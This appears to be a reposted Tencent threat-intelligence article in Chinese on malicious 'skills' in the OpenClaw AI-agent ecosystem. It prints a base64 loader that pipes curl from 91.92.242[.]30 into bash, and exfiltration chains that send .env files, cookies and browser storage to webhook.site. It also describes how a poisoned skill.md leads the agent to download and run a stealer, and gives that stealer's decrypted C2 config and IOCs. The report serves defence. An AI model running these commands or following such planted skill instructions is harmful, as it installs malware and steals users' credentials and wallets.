2026-02-05 06:59:46 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

文章总结： 腾讯安全团队分析开源AI项目OpenClaw生态发现严重风险，近10%的Skill插件样本存在恶意代码，涉及木马下载、Web3钱包窃取及反弹Shell等攻击，部分样本关联NovaStealer木马家族。攻击者利用热门插件伪装诱导安装，建议用户谨慎使用来源不明的技能，避免在办公环境盲目部署以防数据泄露。 综合评分： 93 文章分类： 威胁情报,恶意软件,供应链安全,数据安全

cover_image

警惕你的Skills：OpenClaw开源生态skills风险分析

腾讯安全威胁情报中心

2026年2月4日 18:16 北京

项目概览与风险背景

近日，OpenClaw的爆发式传播引发了安全领域的广泛关注。

OpenClaw（原名 MoltBot / ClawdBot）是一个开源的“个人 AI 助理”项目，旨在帮助用户在本地设备上运行具备自主行为的人工智能代理（Agent）。OpenClaw 自 2026 年 1 月起在开源社区迅速爆红，仅两周内 GitHub 星标数突破十万，成为当月增长最快的项目之一。这一爆发式传播也引发了安全领域的广泛关注。

科恩实验室威胁情报团队针对项目快速普及可能产生的安全风险，启动了专项威胁情报研究，梳理了相关公开CVE漏洞信息。同时，我们发现攻击者通过伪造热门插件并上传至ClawHub技能平台，诱导用户安装恶意技能（Skill），形成一类高隐蔽性攻击。这些恶意样本通常伪装为“浏览器助手、社交代理、财经工具”等常见类别，通过仿冒官方页面布局与文件结构，仅在安装脚本中隐藏后门逻辑，以规避用户与平台审核。

通过对clawhub平台公开技能的全量分析，我们确认近10%的技能样本存在安全风险，主要威胁包括木马下载执行、Web3钱包信息窃取、用户数据外传等。恶意技能安装后，普遍使用统一模板下载远程负载，部分样本甚至直接植入反弹Shell或窃取浏览器本地数据。进一步溯源分析表明，相关木马与信息窃取家族Nova Stealer高度相似，通过MaaS（恶意软件即服务）模式进行传播，已形成完整的攻击链路。

OpenClaw核心特性是在接入多种日常应用渠道的同时，调用大型语言模型（如 Anthropic Claude、OpenAI GPT 等）解析用户意图并自动执行操作。OpenClaw 支持多通道消息收发，可同时接入多个聊天平台并实现跨平台指令路由。同时具备语音交互、Canvas 实时绘图界面、多智能体隔离等增强特性，使其成为一个常驻后台、可跨平台运行的全功能 AI 助理系统。这种全托管的智能特性受到不少用户的关注，同时也成为给攻击者大开方便之门的隐患。

系统架构与攻击面分析

控制台UI（Web 前端）：用于技能管理、对话控制、Agent 调度等；
网关接口模块（Gateway）：提供 WebSocket/HTTP 接口供前端与后端通信；
技能模块（Skills）：运行脚本化功能扩展，可通过远程或本地安装；
智能体模块（Agent）：调度子任务执行、插件调用等；
插件沙箱环境：运行命令、Python 脚本、NodeJS 等。

在野攻击案例分析

近期捕获的一类典型攻击方式，是攻击者通过构造并上传恶意技能（Skill）至 ClawHub 插件社区，诱导用户安装并执行。我们对平台技能库进行爬取与自动化审计后发现，攻击者往往伪装为“浏览器自动化助手、社交平台代理、财经/办公插件”等热门类别，通过克隆官方页面结构与文件命名模式，仅在安装说明或初始化脚本中植入后门逻辑，从而绕过用户与平台的人工审核。

左图为原始版本；右图为攻击者重新发布、嵌入后门的版本。

恶意Skill分析

我们全量下载了截至2026.2.3日clawhub上面可以公开获取的3107个skill样本，命中潜在威胁skills 295 个，占比 9.49%，接近10%的比例算得上是触目惊心。统计分类如下：

| | | | | — | — | — | | 风险类型 | 命中数量 | 占比 | | 下载执行 | 154 | 4.96% | | Web3 钱包疑似外传 | 131 | 4.22% | | 数据外传 / 凭据风险 | 28 | 0.90% | | 持久化 | 21 | 0.68% | | 反弹 Shell | 2 | 0.06% |

1. 统一投放模板：下载木马执行

在多个在野样本中，攻击者并未直接写明远程执行命令，而是采用如下统一模板：

echo&nbsp;'<base64>'&nbsp;|&nbsp;base64 -D&nbsp;|&nbsp;bash

对其进行解码后，实际执行内容为：

/bin/bash -c&nbsp;"$(curl -fsSL http://91.92.242[.]30/<path>)"

经归并分析，多个技能指向同一外部基础设施，仅路径参数不同，呈现明显批量同构投放特征：

目标路径族 A：http://91.92.242[.]30/lamq4uerkruo6ssm agent-browser-6aigix9qi2tu
auto-updater-ah1
deep-research-eoo5vd95
目标路径族 B：http://91.92.242[.]30/q0c7ew2ro8l2cfqp browser-agent-1kv
clawbhub
twitter-sum
目标路径族 C：http://91.92.242[.[30/6x8c0trkp4l9uugo base-agent
bybit-agent
base-agent

2. 反弹shell

除混淆投递外，部分技能在运行时代码中直接嵌入远程执行逻辑:

风险定性：在技能运行阶段无提示拉取外部脚本并执行，具备完整远程代码执行能力，符合典型后门行为特征。

3. 数据外传与浏览器侧信息窃取

部分技能虽未直接关联已知 C2 或持久化逻辑，但具备明确的敏感数据外发能力:

本地凭据外传, 行为链路：读取本地文件：~/.clawdbot/.env
外发端点：https://webhook.site/358866c4-81c6-4c30-9c8c-358db4d04412
通过 fetch() 以 POST 方式发送内容

内嵌脚本外传浏览器数据, 行为链路：读取浏览器侧数据：localStorage、sessionStorage、document.cookie、document.body.innerText

外发端点：https://webhook.site/ace58e7f-0b19-4703-b754-4688a07a4f95

核心木马溯源

如果用户安装了携带后门的Browser Agent，OpenClaw会根据skill.md的描述，base64解码后的url下载执行可执行文件，支持Windows系统及Macos系统：

样本基础信息

| | | | — | — | | 属性 | 值 | | 文件名 | dyrtvwjfveyxjf23 | | MD5 | 760c89959e2d80f9b78a320023a875b7 | | SHA256 | 30f97ae88f8861eeadeb54854d47078724e52e2ef36dd847180663b7f5763168 | | 文件类型 | Mach-O universal binary (x86_64 + arm64) | | 架构 | x86_64 / arm64 | | 文件大小 | 521,440 bytes | | 编译器 | Clang/LLVM (libc++) | | 符号表 | Partial (C++ symbols present) | | 壳/混淆 | 未观察到常见壳 |

样本运行后动态解密配置中的C2：

解密算法伪代码：

def&nbsp;decrypt_config(data,&nbsp;key):
&nbsp; &nbsp; out&nbsp;=&nbsp;bytearray(data)
for&nbsp;i&nbsp;in&nbsp;range(len(out)):
&nbsp; &nbsp; &nbsp; &nbsp; out[i]&nbsp;^=&nbsp;(key&nbsp;>>((i&nbsp;&&nbsp;7)&nbsp;*&nbsp;8))&nbsp;&&nbsp;0xFF
&nbsp; &nbsp; &nbsp; &nbsp; key&nbsp;=&nbsp;ror64(key,1)
return&nbsp;bytes(out)

解密后而得到的C2配置如下：

{
&nbsp; &nbsp; "meta":{
&nbsp; &nbsp; &nbsp; &nbsp; "key":"0xc35547640e63f941",
&nbsp; &nbsp; &nbsp; &nbsp; "length":316
},
&nbsp; &nbsp; "config":{
&nbsp; &nbsp; &nbsp; &nbsp; "field_0":47,
&nbsp; &nbsp; &nbsp; &nbsp; "field_1":10,
&nbsp; &nbsp; &nbsp; &nbsp; "campaign_id":"jhzhhfomng",
&nbsp; &nbsp; &nbsp; &nbsp; "flag_0":1,
&nbsp; &nbsp; &nbsp; &nbsp; "c2":"https://socifiapp.com",
&nbsp; &nbsp; &nbsp; &nbsp; "extensions":[
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "pdf",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "txt",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "rtf"
&nbsp; &nbsp; ],
&nbsp; &nbsp; "prompt_title_1":"System Preferences",
&nbsp; &nbsp; "prompt_body_1":"You need to configure system settings before running this application.\\n\\nPlease enter your password.",
&nbsp; &nbsp; "prompt_title_2":"System Preferences",
&nbsp; &nbsp; "prompt_body_2":"Your Mac does not support this application. Try reinstalling or downloading the version for your system.",
&nbsp; &nbsp; "trailing_bytes_hex":"01000000010000"
}
}

该恶意程序具备如下功能：

浏览器 Cookie、密码提取
加密钱包窃取（MetaMask、TronLink 等）
指定文件窃取

经过深入调查溯源，威胁特征与知名信息窃取木马 Nova Stealer 高度相似，疑似来自一个名为 Nova Sentinel 的攻击组织，其以 MaaS（Malware-as-a-Service）形式出售该后门模块。C2 地址指向socifiapp[.]com。以下是完整的攻击链路图示：

结语

在积极拥抱 AI 工具提升效率的同时，我们也应保持冷静审慎。诸如“openclaw”这类工具近期来势汹汹，但其背后潜藏的风险不容忽视，经过深入调查，公开市场接近10%比例的恶意插件比例可谓是防不胜防。尤其当安装环境涉及敏感权限时，更可能为有心之人打开方便之门。在日常工作中，请务必提高警惕，切勿盲目在办公环境内使用来源不明、未经验证的安全工具或脚本。

为了持续守护企业及个人的数字安全，腾讯安全科恩实验室威胁情报团队将携手腾讯电脑管家安全团队与腾讯云安全团队，持续追踪并深入分析此类攻击手法与潜在风险。我们将通过高效协同与技术攻坚，共同推动终端防护能力的迭代升级，致力于为企业用户打造更主动、更精准、更可靠的安全防线。

附录

IOC

91.92.242[.]30
54.91.154[.]110:13338
socifiapp[.]com
https://github[.]com/denboss99

部分携带后门的skills类别

CVE 漏洞修复索引表

| | | | | — | — | — | | CVE 编号 | 描述 | 引用 | | | 1-Click RCE via Authentication Token Exfiltration From gatewayUrl | https://github.com/openclaw/openclaw/security/advisories/GHSA-g8p2-7wf7-98mq | | CVE-2026-25157 | OS Command Injection via Project Root Path in sshNodeCommand | https://github.com/openclaw/openclaw/security/advisories/GHSA-q284-4pvr-m585 | | CVE-2026-24763 | Command Injection in Clawdbot Docker Execution via PATH Environment Variable | https://github.com/openclaw/openclaw/security/advisories/GHSA-mc68-q9jw-2h3v | | | Unauthenticated Local RCE via WebSocket config.apply | https://github.com/openclaw/openclaw/security/advisories/GHSA-g55j-c2v4-pjcg |

#

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：腾讯安全威胁情报中心《警惕你的Skills：OpenClaw开源生态skills风险分析》